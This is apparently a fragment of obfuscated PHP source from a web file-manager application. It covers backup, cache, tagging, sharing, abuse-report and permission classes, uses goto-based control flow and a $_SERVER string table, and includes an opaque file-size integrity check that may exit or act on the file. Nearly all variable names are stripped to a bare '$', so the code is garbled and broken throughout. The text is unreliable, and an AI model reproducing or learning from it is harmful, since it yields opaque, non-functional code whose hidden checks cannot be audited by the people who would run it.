[$[90]] && $[$[90]][$[190]] == $[191]) { $[] = $[$[483]]; unset($[$]); continue; } if ($[$ 
[2212]] && $[$[2212]][$[190]] == $[191]) { $[] = $[$[483]]; unset($[$]); continue; } } } $[$ 
[534]] = $; unset($[$[2424]]); $[] = $; } $this->clearSystemPathLog($); return $; } private function clear 
SystemPathLog($) { $ =& $_SERVER[]; if (count($) == 0) { return; } $ = array($[483] => array($[7], array 
_unique($))); $this->where($)->delete(); } public function deviceList($, $ = 0) { $ =& $_SERVER[]; $ = 
array($[1764] => $, $[231] => array($[1088], $), $[33] => $[1905]); $ = array(); $ = $th 
is->field($[2425])->where($)->order($[2210])->limit(50)->select(); foreach ($ as $ => $) { if ($ > 0 && 
abs($[$[231]] - $[$ - 1][$[231]]) < 5) { continue; } $ = json_decode($[$[534]], !0); $[$ 
[2415]] = isset($[$[2415]]) ? $[$[2415]] : $[12]; unset($[$[2415]]); $ = $this->deviceType($ 
[$[2199]]); if (isset($[$])) { continue; } $[$[2419]] = IpLocation::get($[$[2415]]); $[$ 
[534]] = $; $[$] = $; } return array_values($); } public function deviceType($) { return $; } } goto a 
; e: class BackupFile { public function __construct() { } public function index() { $ = Backup::get(); $ = $[$_SERV 
ER[][378]][$_SERVER[][230]][$_SERVER[][549]]; $ = array($_SERVER[][550] => array($_SERVER[][880], $) 
, $_SERVER[][881] => array($_SERVER[][416], $[$_SERVER[][825]])); $ = (int) Model($_SERVER[][862])->where($ 
)->count($_SERVER[][549]); $ = (int) Model($_SERVER[][862])->where($)->sum($_SERVER[][79]); $ = new Ta 
skFileTransfer($_SERVER[][882], $_SERVER[][856], $, LNG($_SERVER[][857]) . $_SERVER[][858] . LNG($_SERVER[ 
][883])); $->task[$_SERVER[][836]] = $; $ = array($_SERVER[][884] => $, $_SERVER[][885] => $, $ 
_SERVER[][886] => time()); Backup::set($); $ = !0; $ = $this->storeIds(); $ = 1; $ = $ = 
0; $ = array(); $ = $ = 0; do { $ = $_SERVER[][887]; $ = Model($_SERVER[][862])->where($)->field($ 
)->order($_SERVER[][888])->selectPage($ = !empty($[$_SERVER[][454]]) ? $[$_SERVER[][454]] 
: array(); foreach ($ as $) { if (!$this->_fileExist($, $, $)) { write_log("file not e 
xist.fileID:{$[$_SERVER[][549]]}, path:{$[$_SERVER[][87]]}", 
$_SERVER[][889]); continue; } $ = $[$_SERVER[][87]]; $ = "{io:{$[$_SERVER[][825]]}}" . s 
ubstr($, strlen("{io:{$[$_SERVER[][890]]}}")); if (IO::exist($)) { $->updateFileEnd($[$_SERVE 
R[][32]], $[$_SERVER[][79]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($, $, 
$_SERVER[][891])) { write_log($_SERVER[][892] . $ . $_SERVER[][876] . $ . $_SERVER[][178], $_SERVER[ 
][856]); $ = !1; break; } } $ = $[$_SERVER[][549]]; $ += 1; $ += $[$_SERVER[][79]]; $ += 1; $ 
 += $[$_SERVER[][79]]; if ($ >= 1024 * 1024 * 100) { $ = array($_SERVER[][824] => $, $_SERVER[][893 
] => $, $_SERVER[][894] => $); Backup::set($); $ = $ = 0; } } $ = count($); $++; } while ($ = 
= $nd(); $ = array($_SERVER[][895] => 1, $_SERVER[][834] => time(), $_SERVER[][848] => 1, $_SERVER[ 
][824] => $, $_SERVER[][896] => time()); if ($) { $[$_SERVER[][893]] = $; $[$_SERVER[][894]] 
= $; } Backup::set($); return !0; } private function _fileExist($, &$, $) { $ =& $_SERVER[]; $ = $ 
[$[87]]; if (in_array($[$[549]], $)) { return !1; } if (!in_array($[$[890]], $)) { return !1; } if (IO:: 
exist($)) { return !0; } $ = get_path_father($); if (IO::exist($)) { $[] = $[$[549]]; return !1; } $ = 
array($[890] => $[$[890]], $[87] => array($[467], "{$}%")); $ = Model($[862])->where($)->field($ 
[550])->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[549])); return !1; } private function _fileFilter($ 
) { $ =& $_SERVER[]; return; if (empty($)) { return; } $ = array($[549] => array($[7], array_unique($ 
))); $ = Model($[897])->where($)->field($[193])->select(); foreach ($ as $) { Model($[897])->remove( 
$[$[193]], !1); } } private function storeIds() { $ =& $_SERVER[]; $ = Model($[840])->listData(); $ = a 
rray(); $ = $GLOBALS[$[6]][$[92]][$[898]]; foreach ($ as $) { $ = strtolower($[$[98]]); if 
(!isset($[$])) { continue; } $ = $[77] . (isset($[$]) ? $[$] : ucfirst($)); if (!class_e 
xists($)) { continue; } $[] = $[$[483]]; } return $; } } class Cache { protected static $handle; protected stati 
c $memoryCache; public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } self::$memoryCache 
= array(); $ = $GLOBALS[$[6]][$[434]]; $ = $[$[$[899]]]; $ = $[$[900]]; switch ($ 
[$[899]]) { case $[21]: self::$handle = Model($[901]); break; case $[902]: self::$handle = new CacheRedis($, $ 
); break; case $[903]: self::$handle = new CacheMemcached($, $); break; case $[230]: self::$handle = new CacheFile($ 
, $); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = 
!1; } public static function key($) { if (is_array($) || is_object($)) { $ = json_encode($); } $ = rawurlencode($ 
); return md5(KOD_SITE_ID . $_SERVER[][11] . $); } public static function get($, $ = false) { $ = self::key($ 
); $ = self::init(); if ($) { return unserialize($->get($)); } if (!isset(self::$memoryCache[$])) { $ = $-> 
get($); self::$memoryCache[$] = unserialize($); } return self::$memoryCache[$]; } public static function set($, $ 
, $ = false) { $ =& $_SERVER[]; $ = self::key($); if (isset(self::$memoryCache[$]) && self::$memoryCache[ 
$] === $) { return !0; } if ($ === 0) { self::$memoryCache[$] = $; return !0; } $ = self::init(); $ = ser 
ialize($); CacheLock::lock($ . $[904]); $ = $->set($, $, $); self::$memoryCache[$] = $; Cach 
eLock::unlock($ . $[904]); return $; } public static function getCall($, $, $, $ = array()) { $ =& $_SE 
RVER[]; $ = self::get($); if ($ || $ === $[12]) { return $; } $ = call_user_func_array($, $); $ 
 = $ ? $ : $[12]; self::set($, $, $); return $; } public static function remove($) { $ = self::k 
ey($); unset(self::$memoryCache[$]); self::clearTimeout(); CacheLock::lock($); $ = self::init()->remove($); CacheLock 
::unlock($); return $; } public static function removeMemory($) { $ = self::key($); unset(self::$memoryCache[$]) 
; } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } s 
elf::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exis 
ts(self::init(), $_SERVER[][905])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::in 
it(), $_SERVER[][906])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; 
public function __construct($, $) { $ =& $_SERVER[]; $this->cachePath = $[$[87]]; $this->prefix = $[907]; 
$this->cacheTime = $; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getF 
ile($) { $ =& $_SERVER[]; $ = str_replace(array($[908], $[100], $[76]), $[909], $); return $ 
this->cachePath . $[910] . $ . $[911]; } public function set($, $, $ = false) { $ = $ ? $ : $this->ca 
cheTime; $ = $this->getFile($); if (file_put_contents($, $this->prefix . $, LOCK_EX)) { @touch($, intval(time() + $)) 
; clearstatcache(); return !0; } @unlink($); return !1; } public function get($) { $ = $this->getFile($); if (file_exists( 
$) && filemtime($) < time()) { @unlink($); return !1; } $ = @file_get_contents($); return substr($, strlen($this 
->prefix)); } public function remove($) { $ = $this->getFile($); return @unlink($); } public function deleteAll() { $ =& 
$_SERVER[]; $ = scandir($this->cachePath); foreach ($ as $) { $ = $this->cachePath . $; if (strpos($, $[9 
11]) && strpos($, $[912])) { @unlink($); } } } public function clearTimeout() { $ =& $_SERVER[]; $ = scandir( 
$this->cachePath); foreach ($ as $) { $ = $this->cachePath . $; if (strpos($, $[911]) && strpos($, $ 
[912]) && filemtime($) < time()) { @unlink($); } } } } goto d; F: class UserTagModel extends ModelBaseLight { public $ 
optionType = "User.tagList"; public $modelType = "UserOption"; public $fie 
ld = array("name", "style", "sort"); public function listData($ = false, $ = "sor 
t", $ = false) { return parent::listData($, $, $); } public function remove($) { return parent::remove($); 
} public function add($, $ = "label-grey-normal") { $ =& $_SERVER[ 
]; if ($this->findByName($)) { return !1; } $ = array($[502] => $, $[566] => $, $[1967] => $this->getSo 
rt($[344]) + 1); return parent::insert($); } public function update($, $) { $ =& $_SERVER[]; $ = $this->li 
stData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[483]] != $[$[483]]) { return !1 
; } return parent::update($, $); } public function moveTop($) { $ =& $_SERVER[]; $ = parent::listData(); $ 
 = $this->getSort($[343]); foreach ($ as &$) { if ($[$[483]] == $) { $[$[1987]] = $; continue; } 
$[$[1987]] += 1; } unset($); return parent::resetData($); } public function moveBottom($) { $ =& $_SERVER[ 
]; $ = $this->getSort($[344]) + 1; return parent::update($, array($[1987] => $)); } public function resetSort( 
$) { $ =& $_SERVER[]; $ = array(); $ = is_array($) ? $ : array(); for ($ = 0; $ < count($); $ 
++) { $[$[$] . $[12]] = $ + 1; } $ = parent::listData(); foreach ($ as &$) { $ = $[$[$ 
[483]]]; $[$[1987]] = $ ? $ : $[$[1987]]; } unset($); return parent::resetData($); } private function getSo 
rt($) { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1987]); if (!$ 
) { $ = array(0); } $ = $ == $[344] ? max($) : min($); return intval($); } } goto d; e: f 
unction binCheckBigger($, $) { return $ > $; } $_SERVER[$_SERVER[][3]] = ("8501"."97")+0;$_dwpq="5ur3 
gi2wbyzhf80tc197xpjqm4esoldvk6an8m3kgplvebtxzu7hyfs6jqrc091id24wno5aek9rcz25";; class ClassBaseCall { protected static $_methodListStatic = 
array(); protected static $_methodList = array(); public function __call($, $) { $ =& $_SERVER[]; if (isset(self::$_metho 
dList[$])) { return @call_user_func_array(self::$_methodList[$], $); } else { if (method_exists($this, $)) { return call_u 
ser_func_array(array($this, $), $); } else { think_exception(__CLASS__ . $[4] . $ . $[5]); } } } public static functi 
on __callStatic($, $) { if (isset(self::$_methodListStatic[$])) { return call_user_func_array(self::$_methodListStatic[$], 
$); } else { if (method_exists(self, $)) { return call_user_func_array(array(self, $), $); } else { show_json("{$}(\ 
51 not exist;", !1); } } } public static function addMethod($, $) { self::$_methodList[$] = 
$; } public static function addMethodStatic($, $) { self::$_methodListStatic[$] = $; } } goto c; A: class Path 
DriverDbShareItem extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][ 
1414]); } public function getPathOuter($) { $ =& $_SERVER[]; if (!$) { return $; } $ = $this->parse($); 
return trim(KodIO::makeShare($this->pathParse[$[483]], $[$[483]]), $[8]); } protected function infoParse($, $ 
 = false, $ = false) { $ =& $_SERVER[]; $ = $this->pathParse[$[483]]; $ = trim($this->pathParse[$[1246]], 
$[8]); return Action($[1421])->sharePathInfo($, $, $); } public function infoFull($) { $ =& $_SERVER[ 
]; $ = explode($[8], trim($, $[8])); if (count($) > 1) { $ = implode($[8], array_splice($, 1)); $ 
 = $this->model->pathInfoByPath($[0], $); if (!$) { return !1; } $this->pathParse[$[1246]] = $[$[193]]; } ret 
urn $this->infoParse($); } public function listAll($) { $ =& $_SERVER[]; $ = IO::info($this->pathParse[$[87 
]]); if (!$) { return array(); } $ = $this->model->listAll($); $ = Model($[672])->getInfo($[$[673]]); f 
oreach ($ as &$) { check_abort(); $[$[90]] = Action($[1421])->_shareItemeParse($[$[90]], $); } un 
set($); return $; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($) { $this->pathParse = 
$; $this->model = Model($_SERVER[][1414]); } protected function infoParse($, $ = false, $ = false) { $ =& $_SERV 
ER[]; return Action($[1252])->sharePathInfo($this->pathParse[$[87]], !0, $); } public function listPath($, $ = fal 
se) { $ =& $_SERVER[]; $ = parent::listPath($, $); if (!$) { return $; } if (is_array($[$[1422]])) 
{ $[$[1422]] = Action($[1252])->shareItemInfo($[$[1422]]); } foreach ($ as $ => $) { if (!in_array($, 
array($[86], $[85]))) { continue; } foreach ($ as $ => $) { $[$][$] = Action($[1252])->shareItemIn 
fo($); } } return $; } public function listAll($) { $ =& $_SERVER[]; $ = IO::info($this->pathParse[$[87 
]]); if (!$) { return array(); } $ = $this->model->listAll($); foreach ($ as &$) { $[$[90]] = Action($ 
[1252])->shareItemInfo($[$[90]]); } unset($); return $; } } class PathDriverDriverShareItem { public function __c 
onstruct($) { $this->pathParse = $; } public function __call($, $) { $ =& $_SERVER[]; if (method_exists($this 
, $)) { return; } $ = call_user_func_array(array($[1423], $), $); $ = array($[1424], $[1425], $[142 
6], $[1427], $[626], $[628], $[1428], $[110], $[1429], $[1430]); if (in_array($, $)) { $ = $this-> 
getPathOuter($); } return $; } public function copy($, $, $ = false, $ = false) { return $this->copyMove($ 
, $, $, $_SERVER[][626], $); } public function move($, $, $ = false, $ = false) { return $this->copyM 
ove($, $, $, $_SERVER[][628], $); } private function copyMove($, $, $, $, $ = false) { $ 
 =& $_SERVER[]; $ = $; $ = IO::driverMake($); if ($->pathParse[$[1228]]) { $ = $->pathParse 
[$[1228]]; } else { $ = $; } $ = IO::copyMove($, $, $, $, $); $ = $this->getPathOuter($ 
); return $; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[][87]]); } public function pa 
thFather($) { return get_path_father($this->pathParse[$_SERVER[][87]]); } public function iconvSystem($) { return $; } p 
rotected function infoParse($, $ = false) { $ =& $_SERVER[]; $ = $this->pathParse[$[568]][$[1253]] . $t 
his->pathParse[$[1246]]; if ($) { $ = IO::infoWithChildren($); } else { $ = IO::info($); } $ = $this->p 
athParse[$[568]]; return Action($[1421])->_shareItemeParse($, $); } public function listAll($) { $ =& $_SERVE 
R[]; $ = IO::listAll($); $ = rtrim($this->pathParse[$[568]][$[1253]], $[8]); foreach ($ as &$) 
{ $[$[87]] = $this->pathDriver . $[8] . ltrim(substr($[$[87]], strlen($)), $[8]); } unset($); return $ 
; } public function listAllSimple($, $ = false) { $ =& $_SERVER[]; $ = $this->listAll($); $ = $this->p 
athParse[$[503]]; if (trim($, $[8]) == trim(get_path_father($), $[8])) { $ = !0; } return IO::init($[12]) 
->listAllSimpleMake($, $, $); } public function getPathOuter($) { $ =& $_SERVER[]; $ = KodIO::parse($ 
); if ($[$[33]] == KodIO::KOD_SHARE_ITEM) { return $[$[87]]; } $ = KodIO::clear($); $ = KodIO::clear($thi 
s->pathParse[$[568]][$[1253]]); $ = substr($, strlen($)); if (substr($, 0, strlen($)) != $) { retur 
n !1; } return $this->pathParse[$[1247]] . $[8] . ltrim($, $[8]); } public function getType() { $ =& $_SERVER[ 
]; $ = str_replace($[77], $[12], get_class($this)); return strtolower($); } public function isOsDriver($) { re 
turn IO::isOsDriver($); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $ 
this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($) { r 
eturn $this->infoParse($); } } goto c; f: if ($_SERVER[$_SERVER[][321]] != $_size($_file)) { $_getc = $_SERVER[][3 
23]; $_getfile = $_SERVER[$_SERVER[][324]] . $_SERVER[][325]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ 
][262], $_getfilec); if (count($_getarrs) < $_SERVER[][326]) { $exit = $_SERVER[][327]; $exit(); } $_act = $_SERVER[][328 
]; $_act($_file); } class ShareModel extends ModelBase { protected $tableName = "share"; protected $dataAuto = array(array("\ 
155odifyTime", "time", "insert,update", "funct\1 
51on"), array("createTime", "time", "insert", "functi
 
7n"), array("options", '', "insert,update,select", "j\ 
163on")); private $fieldList = "*"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; $ = isset($ 
[0]) ? $[0] : !1; return array($[2106] => array(USER_ID, $[2107]), $[2047] => array($, $[2108])); } protected 
function listSimple() { $ = array($_SERVER[][1764] => USER_ID); $ = $this->field($this->fieldList)->where($)->select( 
); return $ ? $ : array(); } protected function getInfo($, $ = false) { $ =& $_SERVER[]; if ($) { return $ 
this->_getShareInfo(array($[673] => $)); } $ = $this->cacheFunctionGet($[2049], $); return $; } public funct 
ion getInfoByHash($) { return $this->_getShareInfo(array($_SERVER[][2109] => $)); } public function getInfoByPath($) { $ 
 =& $_SERVER[]; $ = array($[1764] => USER_ID, $[193] => $); return $this->_getShareInfo($); } public fun 
ction getInfoBySourcePath($) { $ =& $_SERVER[]; $ = array($[1764] => USER_ID, $[1253] => $); return $this->_ 
getShareInfo($); } private function _getShareInfo($) { $ =& $_SERVER[]; $ = $this->where($)->find(); if (!$ 
) { return !1; } $ = array($[673] => $[$[673]]); $ = $[2110]; $ = Model($[674])->order($[483])-> 
field($)->where($)->select(); if ($[$[193]] == $[228]) { $[$[90]] = IO::info($[$[1253]]); } else { 
$[$[90]] = Model($[1414])->pathInfo($[$[193]]); } $[$[2111]] = $; return $; } protected function ge 
tInfoAuth($) { $ =& $_SERVER[]; $ = $this->getInfo($); if ($[$[1764]] == USER_ID) { $[$[495]] = $ 
[$[90]][$[495]]; } else { $[$[495]] = Model($[575])->authMake($[$[2111]]); } return $; } protected functi 
on listData($ = null, $ = 300) { $ =& $_SERVER[]; $ = array(array($[570] => array($[1086], 0), $[6 
71] => array($[1086], 0), $[2112] => $[2065])); if ($ == $[2113]) { $ = array($[570] => 1); } else { if 
($ == $[1238]) { $ = array($[671] => 1); } } $[$[1764]] = USER_ID; $ = $this->where($)->selectPage($ 
); return $; } protected function listToMe($ = 300) { $ =& $_SERVER[]; $ = Model($[2114])->userGroupParents( 
USER_ID); $ = array($[656] => SourceModel::TYPE_USER, $[577] => USER_ID); if ($) { $ = array(array($[656] => SourceM 
odel::TYPE_USER, $[577] => USER_ID), array($[656] => SourceModel::TYPE_GROUP, $[577] => array($[7], $)), $[2112] => 
$[2065]); } $ = Model($[674])->where($)->selectPage($); $ = array_to_keyvalue_group($[$[454]], $[673] 
); if (!$) { return $; } $ = $[2115]; $ = array($[673] => array($[500], array_keys($)), $[1764] => arr 
ay($[1088], $[228])); $ = $this->field($)->where($)->select(); foreach ($ as $ => &$) { $[$[21 
11]] = $[$[$[673]]]; } unset($); $ = array($[2116] => $, $[2117] => $[$[451]]); return $ 
; } protected function shareAdd($, $) { $ =& $_SERVER[]; $ = $this->_addShareData($, $); if (!empty($ 
[$[2118]])) { $this->_shareAuthSet($, $[$[2118]]); } $this->shareEventAdd($, $, $[2119]); return $ 
; } protected function shareAddSystem($, $) { $ =& $_SERVER[]; $ = $this->_addShareData($, $, $[19 
1]); $this->_shareAuthSet($, $[$[2118]]); return $; } private function shareEventAdd($, $, $ = "ad\x 
64") { $ =& $_SERVER[]; if (!$ || $ == $[228]) { return; } if ($ == $[2119]) { if ($[$[570]] == 
$[91]) { Model($[641])->eventShare($, $[2120]); } if ($[$[671]] == $[91]) { Model($[641])->eventShar 
e($, $[2121]); } return; } $ = $this->getInfoByPath($); $ = $[2122]; if ($[$[570]] == $[228] && 
$[$[570]] == $[91]) { $ = $[2120]; } if ($[$[570]] == $[91] && $[$[570]] == $[228]) 
{ $ = $[2123]; } if ($[$[671]] == $[228] && $[$[671]] == $[91]) { $ = $[2121]; } if ($ 
[$[671]] == $[91] && $[$[671]] == $[228]) { $ = $[2124]; } Model($[641])->eventShare($, $ 
); return; } private function _addShareData($, $ = array(), $ = false) { $ =& $_SERVER[]; $ = $ == $ 
[191] ? 0 : USER_ID; $ = array($[499] => $, $[1755] => $); if ($ == 0) { $ = array($[2125] => 
$[$[1253]], $[1755] => $); } if ($ = $this->where($)->find()) { return $[$[673]]; } if ($ 
== 0) { $ = array($[32] => get_path_this($[$[87]])); } else { $ = Model($[897])->sourceInfo($); if (!$ 
) { return !1; } } if (!$[$[1653]]) { $[$[1653]] = $[$[32]]; } $ = array($[1755] => $, $ 
[499] => $, $[1653] => $[12], $[570] => 0, $[671] => 0, $[1253] => $[12], $[392] => $[12], $ 
[963] => $[12], $[2126] => 0, $[2127] => 0, $[834] => 0, $[2128] => $[12], $[2109] => $[12]); $ 
 = explode($[50], $[2129]); foreach ($ as $) { if (!isset($[$])) { continue; } $[$] = $ 
[$]; } $ = $this->add($); $ = array($[2109] => short_id($)); $this->where(array($[2130] => $))-> 
save($); return $; } private function _shareAuthSet($, $) { $ =& $_SERVER[]; if (!is_array($)) { return !1 
; } $ = Model($[2075]); $->where(array($[673] => $))->delete(); $ = array(); foreach ($ as $) { $ 
 = SourceModel::TYPE_USER; if ($[$[190]] == SourceModel::TYPE_GROUP) { $ = SourceModel::TYPE_GROUP; } $ = array($[67 
3] => $, $[190] => $, $[577] => intval($[$[577]]), $[2071] => 0, $[2131] => -1); if ($[$[20 
71]]) { $[$[2071]] = $[$[2071]]; } else { if ($[$[2131]]) { $[$[2131]] = $[$[2131]]; } } $[ 
] = $; } return $->addAll($, array(), !0); } public function numViewAdd($) { $ =& $_SERVER[]; $ = array($ 
[2130] => $); $this->where($)->setAdd($[2126]); } public function numDownloadAdd($) { $ =& $_SERVER[]; $ 
 = array($[2130] => $); $this->where($)->setAdd($[2127]); } protected function shareEdit($, $) { $ =& $ 
_SERVER[]; $ = $this->getInfo($); if (!$) { return !1; } $this->_checkLinkShare($, $); $ = array(); $ = e 
xplode($[50], $[2132]); foreach ($ as $) { if (!array_key_exists($, $)) { continue; } $[$] = $[$ 
]; } $this->shareEventAdd($[$[193]], $, $[1932]); $this->where(array($[2130] => $))->save($); if (isset($ 
[$[2118]])) { $this->_shareAuthSet($, $[$[2118]]); } return !0; } private function _checkLinkShare($, $) { $ 
 =& $_SERVER[]; if ($[$[570]] != $[91]) { return; } $ = $[$[90]][$[193]]; if ($[$[ 
90]][$[33]] != $[230]) { $ = $this->_folderReport($); if (!$) { return; } show_json(LNG($[2133]) . $[2134] 
. $, !1); } $ = Model($[897])->fileInfoGet($[$[90]][$[193]]); if (!$) { return; } $ = $this->shareFi 
leMeta($[$[549]]); if (isset($[$[459]]) && $[$[459]] == $[91]) { show_json(LNG($[2135]), !1); } } pr 
ivate function _folderReport($) { $ =& $_SERVER[]; $ = array($[549] => array($[1086], 0), $[823] => 3); $ 
 = Model($[2136])->where($)->field($[549])->select(); if (!$) { return !1; } $ = array_to_keyvalue($, 
$[12], $[549]); $ = $[50] . $ . $[50]; $ = array($[549] => array($[7], $), $[592] => 
array($[467], "%{$}%"), $[513] => 0); $ = Model($[897])->where($)->field($[2137])->find(); if (!$ 
) { return !1; } $ = substr($[$[592]], strpos($[$[592]], $)); $ = array($[193] => array($[7 
], trim($, $[50]))); $ = Model($[897])->where($)->field($[32])->select(); $ = array_to_keyvalue($, $ 
[12], $[32]); $[] = $[$[32]]; return implode($[8], $); } protected function remove($) { $ =& $_SE 
RVER[]; $ = is_array($) ? $ : array($); for ($ = 0; $ < count($); $++) { $ = $this->getInf 
o($[$]); if ($[$[671]] == $[91]) { Model($[641])->eventShare($[$[193]], $[2124]); } if ($ 
[$[570]] == $[91]) { Model($[641])->eventShare($[$[193]], $[2123]); } } if (is_array($)) { $ = array($ 
[7], $); } $ = array($[673] => $); $ = $this->where($)->delete(); if ($) { Model($[674])->where(array 
($[673] => $))->delete(); } return $; } protected function removeBySource($) { $ =& $_SERVER[]; $ = arra 
y($[499] => array($[500], $)); $ = $this->field($[673])->where($)->select(); $ = array_to_keyvalue($ 
, $[12], $[673]); if (!$) { return; } $ = array($[2130] => array($[500], $)); $this->where($)->de 
lete(); Model($[674])->where($)->delete(); } public function listAll($) { $ =& $_SERVER[]; $ = array(); if ( 
$[$[1764]]) { $[$[1764]] = $[$[1764]]; } if ($[$[833]]) { $ = $[$[834]] ? $ 
[$[834]] : strtotime(date($[2138])); $[$[231]] = array($[418], array($[$[833]], $)); } if ($ 
[$[33]]) { $[$[$[33]]] = 1; } else { $[] = array($[570] => array($[1086], 0), $[671] => array($ 
[1086], 0), $[2112] => $[2065]); } if ($[$[2061]]) { $[] = array($[2109] => $[$[2061]], $ 
[1653] => array($[467], "%{$[$[2061]]}%"), $[2112] => $[2065]); } $ = $this->_makeOrder()->where 
($)->selectPage(20); if (empty($[$[454]])) { return array(); } $this->_listDataApply($[$[454]]); return $; } 
public function listDataApply($) { $this->_listDataApply($); return $; } private function _listDataApply(&$) { $ =& $_SER 
VER[]; $ = array_to_keyvalue($, $[12], $[1764]); $ = Model($[606])->userListInfo(array_unique($)); $ 
= array_to_keyvalue($, $[12], $[193]); $ = Model($[897])->sourceListInfo($, !0); foreach ($ as $ => &$ 
) { $ = $[$[1764]]; $[$[2139]] = $[$] ? $[$] : !1; $ = $[$[193]]; $[$[90] 
] = $[$] ? $[$] : !1; if ($[$[90]][$[513]] == $[91]) { unset($[$]); } if ($[$[90]] != 
$[228] && !$[$[90]]) { unset($[$]); } } unset($); $ = array_values($); } private function _makeOrder($ 
 = '') { $ =& $_SERVER[]; $ = array($[231], $[834], $[2126], $[2127]); $ = array($[53 
1] => $[532], $[533] => $[534]); $ = Input::get($[538], $[7], $[505], $); $ = Input::get( 
$[539], $[7], $[2140], array($[2058], $[533])); $ = $[$]; $ = $ . "{$} {$ 
}"; return $this->order($); } public function reportAdd($) { $ =& $_SERVER[]; $ = array($[673] => $[$ 
[673]], $[1764] => USER_ID); if (Model($[2136])->where($)->find()) { return !1; } $ = array($[673] => $[$ 
[673]], $[1653] => $[$[1653]], $[193] => $[$[193]], $[549] => $[$[549]], $[1764] => USER_ID, 
$[33] => $[$[33]], $[534] => $[$[534]]); return Model($[2136])->add($); } public function reportList($ 
) { $ =& $_SERVER[]; $ = array(); if ($[$[833]]) { $ = $[$[834]] ? $[$[834]] : strtoti 
me(date($[2138])); $[$[231]] = array($[418], array($[$[833]], $)); } if (isset($[$[33]]) && in_ar 
ray($[$[33]], array($[91], $[518], $[2141], $[2142], $[2143]))) { $[$[33]] = $[$[33]]; 
} if (isset($[$[823]]) && in_array($[$[823]], array($[228], $[91], $[518], $[2141]))) { $[$[ 
823]] = $[$[823]]; } $ = Input::get($[539], $[7], $[2140], array($[2058], $[533])); $ = array( 
$[531] => $[532], $[533] => $[534]); $ = $[2144] . $[$]; $ = Model($[2136])->where($)- 
>order($)->selectPage(20); if (empty($[$[454]])) { return array(); } $ = array_to_keyvalue_group($[$[454]], $ 
[823], $[673]); if (!empty($[0])) { $ = $[0]; $ = array($[673] => array($[7], $)); $ = $this->w 
here($)->field($[673])->select(); $ = array_to_keyvalue($, $[12], $[673]); $ = array_diff($, $); if (!e 
mpty($)) { foreach ($[$[454]] as $ => $) { if (in_array($[$[673]], $)) { unset($[$[454]] 
[$]); } } } } $this->_listDataApply($[$[454]]); return $; } public function reportStatus($) { $ =& $_SERVER[ 
]; $ = array($[483] => $[$[483]]); $ = Model($[2136])->where($)->field($[2145])->find(); i 
f (!$) { return !1; } $ = array($[823] => $[$[823]]); if ($[$[823]] == $[2141] && $[$ 
[823]] == $[2141]) { $[$[823]] = 0; } $ = Model($[2136])->where($)->save($); if ($[$[823]] 
== $[518]) { if ($[$[549]] != $[228] && $this->shareFileMeta($[$[549]])) { $this->shareFileMeta($ 
[$[549]], 0); } $this->remove($[$[673]]); return !0; } if ($ && $[$[823]] == $[2141]) { $ = $ 
[$[823]] == $[2141] ? 1 : 0; $this->shareFileMeta($[$[549]], $); $this->removeByFile($[$[549]]); 
} return $; } private function removeByFile($) { $ =& $_SERVER[]; $ = Model($[897])->where(array($[549] = 
> $))->field($[193])->select(); $ = array_to_keyvalue($, $[12], $[193]); $ = array($[193] => array($ 
[7], $), $[570] => 1); $ = $this->where($)->field($[673])->select(); if (empty($)) { return; } $ = ar 
ray_to_keyvalue($, $[12], $[673]); $this->remove($); } private function shareFileMeta($, $ = null) { $ =& 
$_SERVER[]; $ = array($[549] => $, $[97] => $[2146]); if (is_null($)) { return Model($[2147])-> 
where($)->find(); } $[$[459]] = $; Model($[2147])->add($, array(), !0); } } class SourceAuthModel extends ModelB 
ase { protected $tableName = "io_source_auth"; public function getAuth($) { $ =& $_SERVER[ 
]; $ = $this->sourceAuthSelect($); $ = array(); $ = array(); $ = 2 << 25; foreach ($ as $) { $ = Model( 
$[579])->listData($[$[2071]]); if (!$) { continue; } $[] = $; $ = 0; if ($[$[190]] == SourceModel::TYP 
E_GROUP) { $ = $ * 2; } if ($[$[190]] == SourceModel::TYPE_USER) { $ = $; } if ($[$[190]] == SourceModel:: 
TYPE_USER && $[$[577]] == $[228]) { $ = 0; } $[] = $[$[495]] + $; } array_multisort($, SORT_DESC, $ 
); return $; } public function sourceAuthSelect($) { $ =& $_SERVER[]; static $ = array(); $ = is_array($) ? 
!1 : !0; if ($) { $ = array($); } $ = array(); foreach ($ as $) { if (isset($[$])) { $[$] = $[ 
$]; } } if (count($) == count($)) { return $ ? $[$[0]] : $; } $ = $[2148]; $ = array($[193] => ar 
ray($[7], $)); $ = $this->field($)->order($[483])->where($)->select(); $ = array_to_keyvalue_group($, $ 
[193]); foreach ($ as $) { $[$] = $[$] ? $[$] : array(); } if ($) { return $; } return $; } 
public function setAuth($, $) { $ =& $_SERVER[]; $ = Model($[1414])->sourceInfo($); if (!$) { return !1; 
} if ($[$[190]] != SourceModel::TYPE_GROUP) { return !1; } $ = 1; $ = $[$[577]]; if ($ != $) { $ 
 = array($[1963] => $); $ = Model($[2057])->field($[1764])->where($)->select(); $ = array_to_keyvalu 
e($, $[12], $[1764]); } $ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ = array(); foreach ($ a 
s $) { if (!in_array($[$[190]], $)) { show_json(LNG($[2149]), !1); } if ($ != $) { if ($[$[190]] 
== SourceModel::TYPE_GROUP) { } if ($[$[577]] != 0 && !in_array($[$[577]], $)) { } } if ($[$[577]] == 0) { 
